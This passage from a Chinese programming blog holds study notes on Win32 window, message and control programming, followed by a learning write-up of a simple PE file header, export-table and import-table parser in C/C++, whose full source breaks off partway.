字符串转数字

atoi strtol

_wtoi wcstol

_ttoi tcstol

数字转字符串

itoa _itow _itot

因为字符串,所以分三个版本:A W T;

如 MessageBoxA ,以及 MessageBoxW ,前者处理多字节,后者处理宽字节;

字节转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
//宽字节转多字节  (用的时候直接用宏定义)
WideCharToMultiByte()
---
#define WCHAR_TO_CHAR(lpW_Char, lpChar) \
WideCharToMultiByte(CP_ACP, NULL, lpW_Char, -1, \
lpChar, sizeof(lpChar), NULL, FALSE)

//多字节转宽字节
MultiByteToWideChar()
---
#define CHAR_TO_WCHAR(lpChar, lpWchar) \
MultiByteToWideChar(CP_ACP, NULL, lpChar, -1, \
lpWchar, sizeof(lpWchar))

创建窗口

先创建WinMain函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
{
//都用W版本
//创建窗口类
WNDCLASSW wnd = { 0 };
wnd.lpszClassName = L"Second_BC"; //类名唯一
wnd.lpfnWndProc = WindowProc; //窗口回调函数

//注册窗口类
RegisterClassW(&wnd);

//创建窗口
HWND window = CreateWindowW(
wnd.lpszClassName, //类名
L"1049", //窗口名
WS_OVERLAPPEDWINDOW,//风格
CW_USEDEFAULT, //x,y坐标,默认款式
0,
CW_USEDEFAULT, //长宽,默认款式
0,
NULL, //父窗口的句柄
NULL, //菜单
hInstance, //实例句柄
0 //传给回调函数参数
);

//显示窗口
ShowWindow(
window, //窗口句柄
SW_NORMAL //默认显示方式
);

//获取消息
MSG msg = { 0 }; //消息类
while (GetMessageW( //不断获取消息
&msg, //消息类
0, //窗口句柄 0默认全部窗口
0, //消息类型默认
0
))
{
DispatchMessageW(&msg); //分发消息给处理函数
}
return 0;
}

处理函数\回调:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
LRESULT CALLBACK WindowProc(
_In_ HWND hwnd, //窗口句柄
_In_ UINT uMsg, //消息
_In_ WPARAM wParam, //参数
_In_ LPARAM lParam
)
{
switch (uMsg) //操作消息
{
case WM_CLOSE:
DestroyWindow(hwnd);//销毁窗口
PostQuitMessage(0); //退出消息,终止循环
break;
default:
break;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam); //默认窗口处理
}

简单说说回调函数机制:

每个窗口类会带有一个回调函数,用于处理这个类创建的窗口所获取的信息;

在无限循环的信息捕获中,当收到信息后(晃动鼠标,点击,按键),则使得 DispatchMessageW(&msg); 激活,调用指定窗口回调函数;

在这里指定窗口是 0 ,则是所有窗口;

回调函数中,为了当 点击叉掉 窗口时就 结束程序 就应该设置 退出信息 : WM_CLOSE 摧毁窗口,并退出 postmessage,此时就会退出在主函数里的循环;

回调函数的参数,第二个是信息,第三第四个是一些参数,这些参数有一定的作用,可以知道实际的状态:键盘按下但无弹起 / 鼠标处于窗口位置,等等;

消息处理

定义在 WINUSER.H 中, 以 WM_开头 (windows message);

类型

  1. 窗口消息,如之前遇到的 WM_CLOSE

  2. 命令消息,特指 WM_COMMAND ,点击菜单,控件等会产生;

    WM_COMMAND LOW WPARAM HIGH WPARAM LPARAM
    标准控件 id 响应码 控件句柄
    快捷键 id 1 0
    菜单 id 0 0
  3. 通知消息,特指 WM_NOTIFY ,只使用 用 windows 的公共控件,如列表,视图;

    WM_NOTIFY WPARAM LPARAM
    id NMHDR指针

    NMHDR -> notify message header

控件消息,如:

BM_ 按钮

EM_ 编辑框

STM_ 静态文本

CM_ 组合框

LBM_ 列表

以及用户自定义消息,消息号大于 WM_USER ;

发送

PostMessage, SendMessage;

前者放到消息队列,后者主动调用 指定的回调函数;

变参函数

用于如printf输出宽字节;

1
2
3
4
5
6
7
8
9
10
void func(LPCWSTR format, ...)
{
WCHAR wchar_buff[100]{ 0 };
va_list arglist; //本质char类型,用于存放后面的参数

va_start(arglist, format); //第二个参数是指针起始+1,也就是后面的参数
wvsprintfW(wchar_buff, format, arglist);
va_end(arglist); //结束
wprintf(format, wchar_buff); //输出
}

窗口控件

使用控件引头文件: <CommCtrl.h>

窗口风格分两类:

窗口关系:

1
2
3
WS_OVERLAPED	重叠
WS_POPUP 弹窗
WS_CHILD 子窗口

窗口外观:

1
2
WS_BORDER
WS_CAPITON

它们之间可以用 | 运算结合使用;

控件的本质,还是窗口,在父窗口创建开始添加即可;

标准控件:

类名 名称
WC_BUTTON 按钮
WC_STATIC 静态文本
WC_COMBOBOX 复合框
WC_EDIT 编辑框
WC_LISTBOX 列表框
WC_SCROLLBAR 滚动条

通用控件,如:

WC_LISTVIEW 列表框控件

WC_TREEVIEW 树控件

WC_TABCONTROL Tab控件

子控件响应父窗口,使用 命令消息 和 通知消息,标准控件使用前者,通用控件使用后者;

修改之后的回调函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
LRESULT CALLBACK WindowProc(
_In_ HWND hwnd, //窗口句柄
_In_ UINT uMsg, //消息
_In_ WPARAM wParam, //参数
_In_ LPARAM lParam
)
{
static HINSTANCE hInstance = GetModuleHandleW(NULL); //NULL默认获取当前程序实例句柄

switch (uMsg) //操作消息
{
case WM_CREATE:
//创建窗口时创建子控件,menu栏是控件ID,存于wParam低位,lParam存控件句柄
CreateWindowW(WC_BUTTON, L"Button", WS_CHILD | WS_VISIBLE, 10, 10, 80, 30, hwnd, (HMENU)0x100, hInstance, 0);
break;
case WM_CLOSE:
DestroyWindow(hwnd);//销毁窗口
PostQuitMessage(1); //退出消息
break;

case WM_COMMAND:
{
//激活控件,获取控件ID,执行相应操作
WORD controlId = LOWORD(wParam);
switch (controlId)
{
case 0x100:
MessageBoxW(hwnd, L"Click", L"Button", MB_OK);
break;
}
break;
}

}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

如上可以实现一个按钮弹窗功能;

窗口操作函数

背景刷

1
wnd.hbrBackground = CreateSolidBrush(RGB(255, 255, 255));		//白色背景

移动窗口位置

1
2
3
4
5
6
7
RECT rect{ 0 };
GetClientRect(hwnd, &rect); //获取窗口工作区范围,返回给rect结构体

int x = rand() % (rect.right - weight); //x,y坐标在工作范围内随机取
int y = rand() % (rect.bottom - height);

MoveWindow((HWND)lParam, x, y, weight, height, TRUE); //移动窗口函数

获取和设置文本框内容

1
2
3
4
5
6
7
8
9
10
HWND hedit = GetDlgItem(hwnd, 0x102);		//获取文本框句柄,第一个是父窗口句柄,第二个是id
WCHAR buffer[max]{ 0 }; //缓冲区

GetWindowTextW(hedit, buffer, max); //用按钮实现
SetWindowTextW(hedit, L"123");
---
//实际上,对于Dlg的操作可以简化,下面等价于获取hedit之后写文本框
SetDlgItemTextW(hwnd, 0x102, L"123");

TranslateMessage(&msg); //放到message循环里,接收键盘信息编辑文本框

根据窗口名获取句柄

1
HWND hwnd = FindWindowW(ClassName, Name);		//第一个窗口类名,第二个窗口名,不知道可以填0

设置父窗口

1
SetParent((HWND)lParam, hwnd);			//第一个是要被设置的,第二个是新的父窗口

资源操作

资源就是icon,光标,菜单一类的东西;

在VS里,代码下方可以创建资源,资源创建后,有资源本身,有.rc文件,以及resource.h头文件;

.rc保存了资源本身在文件中的宏命名,一般是int型,而头文件则是声明;

引入头后,使用 LoadXXX 函数获取资源句柄(XXX为资源类型,如图标是Icon);

1
LoadCursor(hInstance, MAKEINTRESOURCE(IDC_CURSOR1))

参数类型第一个为实例句柄,第二个为资源宏,本质上是个指针,所以要强转,微软自带强转宏函数 MAKEINTRESOURCE()

使用如下代码设置类成员:

1
2
//三个参数,第一个为窗口句柄,第二个为GCL_开头宏对应成员如GCL_ICON,第三个为设置的句柄,记得强转long
SetClassLong(hwnd, GCL_ICON, (long)handle);

菜单可以加载后给CreateWindow函数;

子菜单响应也是 WM_COMMAND;

使用以下函数获取子菜单以及弹出菜单:

1
2
GetSubMenu(hMenu, 0); 		//第一个父菜单,第二个相对于父菜单位置
TrackPopupMenu(hMenu, TPM_RIGHTALICGN, x, y, 0, hWnd, NULL); //第二个为对齐方式

转换坐标当前窗口

1
2
3
4
POINT point { 0 };
point.x = x;
point.y = y;
ClientToScreen(hwnd, &point);

对话框

模态的会阻塞主窗口(无法点击主窗口),非模态不会;

创建非模态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
CreateDialogW(		
hInstance,
dialogName, //ID
NULL, //父窗口句柄
Dlgproc //回调函数
);

INT_PTR CALLBACK Dlgproc(
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
switch(uMsg)
{
case WM_INITDIALOG: //初始化
{

break;
}
case WM_CLOSE:
{
DestroyWindow(hWnd);
QuitPostMessage(0);
break;
}
default:
return FALSE; //没能处理返回无
}

return TRUE; //处理返回真
}

创建模态:

它不需要捕获信息,也不需要显示

1
2
3
DialogBoxW( /* same */)
//结束
EndDialog(hWnd, 0);

介绍一些简单的控件:

windowsx.h 头有定义操作控件信息的宏,可读性更高;

复选框,单选框,属于按钮类,其信息为 BM_打头;

图片,其信息 STM_打头;

滑块和进度条,其信息 TBM_ PBM_ 打头;

列表控件

任务管理器就是一个列表;

其重要的信息是 : LVM_INSERTCOLUMN ,插入索引;

其会用到一个结构:LVCOLUMN,其中标识了列表信息;

mask是掩码,说明了之后的成员有效性;

fmt是对齐方式,cx是大小,pszText为名字;

插入行: LVM_INSERTITEM

设置行: LVM_SETITEMTEXT

其结构和上面类似,叫 LVITEM;

item是第几行,subitem是第几列;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BOOL InsertColum(HWND hwnd, int id, int nColum, int cx, LPWSTR name)
{
LVCOLUMNW lvColumn = { 0 };
lvColumn.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT;
lvColumn.fmt = LVCFMT_CENTER;
lvColumn.cx = cx;
lvColumn.pszText = name;
SendDlgItemMessageW(hwnd, id, LVM_INSERTCOLUMNW, nColum, (LPARAM) & lvColumn);
return TRUE;
}

BOOL InsertItem(HWND hwnd, int id, int item)
{
LVITEMW lvItem = { 0 };
lvItem.mask = LVIF_TEXT;
lvItem.iItem = item;
lvItem.pszText = (LPWSTR)L"";
SendDlgItemMessageW(hwnd, id, LVM_INSERTITEMW, 0, (LPARAM)&lvItem);
return TRUE;
}

BOOL SetListItemText(HWND hwnd, int id, int item, int subItem, LPWSTR name)
{
LVITEMW lvItem = { 0 };
lvItem.mask = LVIF_TEXT;
lvItem.iItem = item;
lvItem.iSubItem = subItem;
lvItem.pszText = name;
SendDlgItemMessageW(hwnd, id, LVM_SETITEMTEXTW, item, (LPARAM)&lvItem);
return TRUE;
}

添加样式:

1
sendDlgItemMessageW(hwnd, id, LVM_SETEXTENDEDLISTVIEWSTYLE, 0, style)

常用style有:LVS_EX_FULLROWSELECT , 全行选中;

​ LVS_EX_GRIDLINES , 添加网格;

点击其成员触发notify信息,其有 NMHDR 结构:

1
2
3
4
5
typedef struct _nmhdr {
HWND hwndFrom; //发起信息句柄
UINT idFrom; //id
UINT code; //操作码
} NMHDR;

如果确认控件是list,则结构体为 NMLISTVIEW ,为 NMHDR 的继承;

捕获点击消息:

1
2
3
4
5
6
7
8
9
10
11
12
13
case WM_NOTIFY:
{
NMHDR* pnmHeader = (NMHDR*)lParam;
switch(pnmHeader->code)
{
case NM_CLICK:
{
...
break;
}
}
break;
}

这种捕获类似于下拉表;

获取dll文件函数:

1
2
3
HMODULE hModule = LoadLibraryW(L"./mydll.dll");
GetProcAddress(hModule, "func_name"); //返回一个函数指针
FreeLibrary(hModule);

Lab

搓了个CPP的类粘合着窗口化编程使用做了个小程序,提取码 a333 ;

原神伤害云计算

阅读全文
PE简单解析器

了解PE的结构:https://zhuanlan.zhihu.com/p/31967907

作为练手的记录, 学习性不是很强;

记录一些术语:

魔术码 = 幻码 = 特征码;

结构体中单个内容 = 字段;

rva = 内存中偏移;

foa = 文件中偏移;

静态 = 文件中的处理;

动态 = 内存中的处理;

IAT = 导入地址表 = import address table

INT = 导入名称表 = import name table

读取文件

定义一些简单的类型:

1
2
3
4
typedef unsigned char UINT8;
typedef unsigned short int UINT16;
typedef unsigned int UINT32;
typedef unsigned long int UINT64;

解析一个PE文件首先需要读取二进制内容;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//获取文件长度
int get_file_size(FILE* fp)
{
fseek(fp, 0, SEEK_END);
int size = ftell(fp);
fseek(fp, 0, SEEK_SET);

return size;
}

//读文件
char filename[] = "a.exe";
FILE* fp = fopen(filename, "r");

int fsize = get_file_size(fp);

UINT8* fbuffer = (UINT8*)malloc(fsize);
fread(fbuffer, 1, fsize, fp);

fclose(fp);

利用如上代码便可以将 a.exe 的内容复制给 fbuffer 缓冲区,之后在这个缓冲区上进行操作;

解析DOS头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//获取dos头
UINT8* p_dos_header = fbuffer;

UINT16 dos_magic = (UINT16) * ((UINT16*)p_dos_header);
UINT32 pe_offset;
if (dos_magic != 0x5a4d)
{
printf("%s it's not a valid PE file.\n", filename);
free(fbuffer);
return 0;
}
else
{
pe_offset = (UINT32) * (UINT32*)(p_dos_header + 0x40 - 4);
}

在这里只捕获了两个重要的内容,也就是 dos magic 和 pe offset,第一个能判断这个文件是否为一个PE文件,第二能由此找到PE头,也就是常说的NT头;

解析PE头

也称NT头;

1
2
3
4
5
6
7
8
//获取pe头
UINT8* p_pe_header = (p_dos_header + pe_offset);

UINT32 pe_magic = (UINT32) * ((UINT32*)p_pe_header);
if (pe_magic != 0x4550)
{
printf("%s it's pe magic number wrong: %x\n", filename, pe_magic);
}

根据dos头里获得的pe偏移,利用dos头指针找到pe头,由此给出pe魔术码;

解析file头

file头,可称为标准PE头;

1
2
3
4
5
6
7
8
//获取file头
UINT8* p_file_header = p_pe_header + 4;

UINT16 machine_num = (UINT16) * ((UINT16*)p_file_header);
UINT16 number_of_sections = (UINT16) * (UINT16*)(p_file_header + 2);
UINT16 size_of_optional_header = (UINT16) * (UINT16*)(p_file_header + 16);
UINT16 file_characteristics = (UINT16) * (UINT16*)(p_file_header + 18);
printf("it's machine number is %xh\n", machine_num);

根据pe头能找到file头,给出其中4个重要内容,由上往下依次是:

  1. CPU架构码,代表能在什么架构上运行,0值默认都行;
  2. 节区数量,记录节的总数;
  3. 可选头大小,默认e0h是32位, f0h是64位;
  4. 特性,每位都代表一个内容,具体是什么用 010 editor 查看;

之后便给出CPU架构码;

解析可选头

optional头,也称可选PE头;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//获取可选头
UINT8* p_optional_header = p_file_header + 20;

UINT16 optional_magic = (UINT16) * ((UINT16*)p_optional_header);
UINT32 oep_offset = (UINT32) * (UINT32*)(p_optional_header + 16);
UINT64 image_base = (UINT64) * (UINT64*)(p_optional_header + 24);
UINT32 section_alignment = (UINT32) * (UINT32*)(p_optional_header + 32);
UINT32 file_alignment = (UINT32) * (UINT32*)(p_optional_header + 36);
UINT32 size_of_image = (UINT32) * (UINT32*)(p_optional_header + 56);
UINT32 size_of_headers = (UINT32) * (UINT32*)(p_optional_header + 60);
UINT16 dll_characteristics = (UINT16) * (UINT16*)(p_optional_header + 70);
if (size_of_optional_header == 0xe0 && optional_magic == 0x10b)
printf("standard 32bit mode.\n");
else if(optional_magic == 0x10b)
printf("32bit mode but size of optional header: %x\n", size_of_optional_header);
else if(size_of_optional_header == 0xf0 && optional_magic == 0x20b)
printf("standard 64bit mode.\n");
else if (optional_magic == 0x20b)
printf("64bit mode but size of optional header: %x\n", size_of_optional_header);

printf("OEP is at 0x%x\n", image_base + oep_offset);

根据PE头能找到可选头,给出其中8个重要内容,从下往上依次是:

  1. 可选魔术码,标准是32位还是64位,分别用10bh和20bh代表;
  2. oep偏移,相对加载内存地址的程序入口地址的偏移,配合image_base食用;
  3. 内存地址实际加载处,注意,如果开了 随机基址(动态基址)则无用,动态基址在第8个里可查看是否开启;
  4. 内存中对齐,默认1000h;
  5. 文件中对齐,默认200h;
  6. 内存中整个文件大小;
  7. 文件中所有头部大小,包括 dos头,dos存根,nt头,节区头;
  8. 类似之前的特性,也是每一位代表一个内容,具体用 010 editor 查看;

之后给出位模式和oep地址;

解析节区头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//获取节区头
UINT8* p_section_header = p_optional_header + size_of_optional_header;

char section_name[9];
UINT32 VA;
UINT32 PA;

for (int i = 0; i < number_of_sections; i++)
{
for (int j = 0; j < 8; j++)
{
section_name[j] = p_section_header[j];
}
section_name[8] = '\0';

VA = (UINT32) * (UINT32*)(p_section_header + 12);
PA = (UINT32) * (UINT32*)(p_section_header + 20);
VA += image_base;
PA += image_base;

printf("%-40s VA 0x%016jx \n PA 0x%016jx \n--------------------\n", section_name, VA, PA);
p_section_header += 0x28;
}

利用可选头和其大小,跳转到节区头,并利用文件头中获取的节区数量进行循环打印名称,并打印其中每个节区的内存中(VA)地址和文件中(PA)地址;

关于对齐和偏移

偏移都是相对image base而言;

因为在文件中和内存中有不同的对齐,所以才有不同的偏移值,而对齐是相对于区段而言,区段与区段之间,头与区段之间会填充对齐;

当知晓一个地址的VA偏移,且知晓这个地址属于哪个区段,便可得出这个地址的PA偏移

why?

因为区段内不存在对齐改变偏移,所以有等式:地址VA - 区段VA = 区段与地址的距离

​ 地址PA - 区段PA = 区段与地址的距离

所以有 地址PA = 地址VA - 区段VA + 区段PA;

定义转换函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
UINT32 vtop(UINT32 rva, UINT8* p_section_header, UINT16 number_of_sections)
{
UINT32 VA;
UINT32 PA;
UINT32 true_size;
for (int i = 0; i < number_of_sections; i++)
{
VA = (UINT32) * (UINT32*)(p_section_header + 12);
PA = (UINT32) * (UINT32*)(p_section_header + 20);
true_size = (UINT32) * (UINT32*)(p_section_header + 8);

if ((rva >= VA) && (rva < VA + true_size))
{
return (rva - VA + PA);
}

p_section_header += 0x28;
}
printf("rva error\n\n");
return 0;
}

当rva存在在一个区段的内部时,也就是if判断,就可以执行转换了,如果没找到,就是错误的rva;

打印导出表

导出表是可选头最后一个结构体数组的第一个索引来寻找的;

注意:导出表很多内容本质是rva,导出表结构可自行百度;

所以找到特别的结构体数组:

1
2
3
//获取datadirarray数组
UINT32 datadirarray_index = (UINT32) * (UINT32*)(p_section_header - 0x84);
UINT8* datadirarray = p_section_header - 0x80;

因为32位和64位op头长度不同,所以都能用的情况就是用节区头去反着找;

这个数组的每个结构体都只有一个实际的内容,就是记录表或者项目的rva;

之后根据 datadirarray 找到导出表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//获取导出表
if ((UINT32) * (UINT32*)(datadirarray) != 0)
{
UINT8* export_table = vtop((UINT32) * (UINT32*)(datadirarray), p_section_header, number_of_sections) + fbuffer;
UINT32 etnamead = (UINT32) * (UINT32*)(export_table + 12);
UINT8* etname = vtop(etnamead, p_section_header, number_of_sections) + fbuffer;
UINT32 number_of_functions = (UINT32) * (UINT32*)(export_table + 20);
UINT32 number_of_names = (UINT32) * (UINT32*)(export_table + 24);
UINT8* ad_of_funcs = vtop((UINT32) * (UINT32*)(export_table + 28), p_section_header, number_of_sections) + fbuffer;
UINT8* ad_of_names = vtop((UINT32) * (UINT32*)(export_table + 32), p_section_header, number_of_sections) + fbuffer;
UINT8* ad_of_ordis = vtop((UINT32) * (UINT32*)(export_table + 36), p_section_header, number_of_sections) + fbuffer;

printf("\n%s\n\n", etname);
int flag;
for (int i = 0; i < number_of_functions; i++)
{
flag = 0;
printf("0x%016jx", (UINT32) * (UINT32*)(ad_of_funcs + 4 * i) + image_base);
for (int j = 0; j < number_of_names; j++)
{
flag = 1;
if (i == (UINT16) * (UINT16*)(ad_of_ordis + 2 * j))
{
printf(" %3d %s\n", i, vtop((UINT32) * (UINT32*)(ad_of_names + 4 * j), p_section_header, number_of_sections) + fbuffer);
flag = 0;
break;
}
}
if (flag == 1)
{
printf(" ---\n");
}
}
}
else
{
printf("no export..\n");
}

首先需要有 导出表,也就是 datadirarray[0] 有存在的rva,然后利用rva去静态地找到导出表;

之后同样的道理,找到导出表名称,接着是导出函数数,以及有名称的函数数;

然后是三个表:函数地址表,函数序数表,函数名称表;

关系如下:

func_table

所以才有打印时的循环操作:

  1. 首先根据整体数量操作,打印出索引对应地址;
  2. 然后进入内层循环,找有名称的函数;
  3. 当地址索引和序数表内容相同时,也就是if判断,利用当前序数表索引打印函数名称;
  4. 设置的flag位算信号量,打印没名称函数;

打印导入表

关于dll载入

显式加载时,调用文件会留下函数名,以rva字符串形式保存在文件中;

主文件和dll文件被扔到同一个进程中;

加载到内存时,loadlibrary函数做了 将dll文件的 imagebase 地址赋予到本文件指针,所以可以操作dll文件的头部

可以简单理解 通过dll的导出表 将存放函数名rva的地方改成了对应的函数地址;

由此,dll中的函数被调用;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//获取导入表
if ((UINT32) * (UINT32*)(datadirarray + 8) != 0)
{
UINT8* import_table = vtop((UINT32) * (UINT32*)(datadirarray + 8), p_section_header, number_of_sections) + fbuffer;
while (import_table != NULL)
{
UINT8* original_first_thunk = import_table;
UINT32 itnamead = (UINT32) * (UINT32*)(import_table + 12);
UINT8* itname = (itnamead, p_section_header, number_of_sections) + fbuffer;

printf("Import Table:\n");
printf("%s\n\n", itname);

UINT8* name_stru = vtop((UINT32) * (UINT32*)(original_first_thunk), p_section_header, number_of_sections) + fbuffer;
while (name_stru != NULL)
{
UINT32 ntype = (UINT32) * (UINT32*)name_stru;
if (ntype & 0x80000000)
{
printf("import by ordinal %40d\n", ntype & 0x7fffffff);
}
else
{
UINT8* n_stru = vtop(ntype, p_section_header, number_of_sections) + fbuffer;
n_stru += 2;
printf("import by name %40s\n", n_stru);
}

name_stru += 8;
}
printf("--------------------\n");
import_table += 0x14;
}
}
else
{
printf("no import..\n");
}
printf("\n");

导入表结构如下:

import

先根据datadirarray拿到import表,每个导入的文件都会有一个import表,所以import表可能有多个,所以循环遍历;

在import表里有 IAT 和 INT ,这里拿的是 INT : original_first_thunk,之后获取名称;

STRU在上述代码称为name_stru,是该导入表的所有函数,所以又用一个循环遍历;

1
2
3
4
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint; // 该函数的导出序数
BYTE Name[1]; // 该函数的名字
}

INT里的每一个STRU会指向一个结构体: import by name,里面可能是序数导入的函数,也可能是名称导入的函数,区分就是看最高位是否是1,如果是名字导入,则第二个字节之后就是名称的rva;

在dll链接之后,根据dll自身的导出表中的函数地址,一一对应地修改自身exe文件的导入表中IAT指向,此时IAT便指向了真实的地址;

整体效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
#include<iostream>
#include<cstdlib>
using namespace std;

typedef unsigned char UINT8;
typedef unsigned short int UINT16;
typedef unsigned int UINT32;
typedef unsigned long int UINT64;

int fapi = 0;

//RVA转FOA
UINT32 vtop(UINT32 rva, UINT8* p_section_header, UINT16 number_of_sections)
{
UINT32 VA;
UINT32 PA;
UINT32 true_size;
for (int i = 0; i < number_of_sections; i++)
{
VA = (UINT32) * (UINT32*)(p_section_header + 12);
PA = (UINT32) * (UINT32*)(p_section_header + 20);
true_size = (UINT32) * (UINT32*)(p_section_header + 8);

if ((rva >= VA) && (rva < VA + true_size))
{
if (fapi == 1)
{
return (rva - VA + PA - 1);
}
return (rva - VA + PA);
}

p_section_header += 0x28;
}
printf("rva error\n\n");
return 0;
}

//获取文件长度
int get_file_size(FILE* fp)
{
fseek(fp, 0, SEEK_END);
int size = ftell(fp);
fseek(fp, 0, SEEK_SET);

return size;
}

int main(int argc, char* argv[])
{
char mode[3];

if (argc < 2)
{
printf("\nUsage: %s + ./file_you_want_know\n\n", argv[0]);
return 0;
}
if (argc > 2)
{
sprintf(mode, "%s", argv[2]);
}

//读文件
char* filename = argv[1];
FILE* fp;
if ((fp = fopen(filename, "r")) == NULL)
{
printf("\nfile path maybe wrong?\n\n");
return 0;
}

int fsize = get_file_size(fp);

UINT8* fbuffer = (UINT8*)malloc(fsize);
fread(fbuffer, 1, fsize, fp);

fclose(fp);

//获取dos头
UINT8* p_dos_header = fbuffer;

UINT16 dos_magic = (UINT16) * ((UINT16*)p_dos_header);
UINT32 pe_offset;
if (dos_magic != 0x5a4d)
{
printf("\n%s it's not a valid PE file.\n\n", filename);
free(fbuffer);
return 0;
}
else
{
pe_offset = (UINT32) * (UINT32*)(p_dos_header + 0x40 - 4);
}

//获取pe头
UINT8* p_pe_header = (p_dos_header + pe_offset);

UINT32 pe_magic = (UINT32) * ((UINT32*)p_pe_header);
if (pe_magic != 0x4550)
{
if ((UINT32) * (UINT32*)(p_pe_header - 1) == 0x4550)
p_pe_header -= 1;
else
printf("\n%s it's pe magic number wrong: %x\n", filename, pe_magic);
}

//获取file头
UINT8* p_file_header = p_pe_header + 4;

UINT16 machine_num = (UINT16) * ((UINT16*)p_file_header);
UINT16 number_of_sections = (UINT16) * (UINT16*)(p_file_header + 2);
UINT16 size_of_optional_header = (UINT16) * (UINT16*)(p_file_header + 16);
UINT16 file_characteristics = (UINT16) * (UINT16*)(p_file_header + 18);
printf("\nit's machine number is %xh\n", machine_num);

//获取可选头
UINT8* p_optional_header = p_file_header + 20;

UINT16 optional_magic = (UINT16) * ((UINT16*)p_optional_header);
UINT32 oep_offset = (UINT32) * (UINT32*)(p_optional_header + 16);
UINT64 image_base = (UINT64) * (UINT64*)(p_optional_header + 24);
UINT32 section_alignment = (UINT32) * (UINT32*)(p_optional_header + 32);
UINT32 file_alignment = (UINT32) * (UINT32*)(p_optional_header + 36);
UINT32 size_of_image = (UINT32) * (UINT32*)(p_optional_header + 56);
UINT32 size_of_headers = (UINT32) * (UINT32*)(p_optional_header + 60);
UINT16 dll_characteristics = (UINT16) * (UINT16*)(p_optional_header + 70);
if (size_of_optional_header == 0xe0 && optional_magic == 0x10b)
printf("standard 32bit mode.\n");
else if (optional_magic == 0x10b)
printf("32bit mode but size of optional header: %x\n", size_of_optional_header);
else if (size_of_optional_header == 0xf0 && optional_magic == 0x20b)
printf("standard 64bit mode.\n");
else if (optional_magic == 0x20b)
printf("64bit mode but size of optional header: %x\n", size_of_optional_header);
printf("OEP is at 0x%x\n\n", image_base + oep_offset);

//获取节区头
UINT8* p_section_header = p_optional_header + size_of_optional_header;

if (*p_section_header == 0)
p_section_header += 1;
char section_name[9];
UINT32 VA;
UINT32 PA;

if (mode[0] == 45 && mode[1] == 115)
{
for (int i = 0; i < number_of_sections; i++)
{
for (int j = 0; j < 8; j++)
{
section_name[j] = p_section_header[j];
}
section_name[8] = '\0';

VA = (UINT32) * (UINT32*)(p_section_header + 12);
PA = (UINT32) * (UINT32*)(p_section_header + 20);
VA += image_base;
PA += image_base;

printf("%-40s VA 0x%016jx \n PA 0x%016jx \n--------------------\n", section_name, VA, PA);
p_section_header += 0x28;
}
p_section_header = p_optional_header + size_of_optional_header;
printf("\n");
}

//获取datadirarray数组
UINT32 datadirarray_index = (UINT32) * (UINT32*)(p_section_header - 0x84);
UINT8* datadirarray = p_section_header - 0x80;

if ((mode[0] == 45 && mode[1] == 116) || (mode[0] == 45 && mode[2] == 116))
{
//获取导出表
if ((UINT32) * (UINT32*)(datadirarray) != 0)
{
export_s:
UINT8* export_table = vtop((UINT32) * (UINT32*)(datadirarray), p_section_header, number_of_sections) + fbuffer;
UINT32 etnamead = (UINT32) * (UINT32*)(export_table + 12);
UINT8* etname = vtop(etnamead, p_section_header, number_of_sections) + fbuffer;
if (etname == fbuffer)
{
fapi = 1;
printf("correct already..\n\n");
goto export_s;
}
UINT32 number_of_functions = (UINT32) * (UINT32*)(export_table + 20);
UINT32 number_of_names = (UINT32) * (UINT32*)(export_table + 24);
UINT8* ad_of_funcs = vtop((UINT32) * (UINT32*)(export_table + 28), p_section_header, number_of_sections) + fbuffer;
UINT8* ad_of_names = vtop((UINT32) * (UINT32*)(export_table + 32), p_section_header, number_of_sections) + fbuffer;
UINT8* ad_of_ordis = vtop((UINT32) * (UINT32*)(export_table + 36), p_section_header, number_of_sections) + fbuffer;

printf("Export Table:\n");
printf("%s\n\n", etname);
int flag;
for (int i = 0; i < number_of_functions; i++)
{
flag = 0;
printf("0x%016jx", (UINT32) * (UINT32*)(ad_of_funcs + 4 * i) + image_base);
for (int j = 0; j < number_of_names; j++)
{
flag = 1;
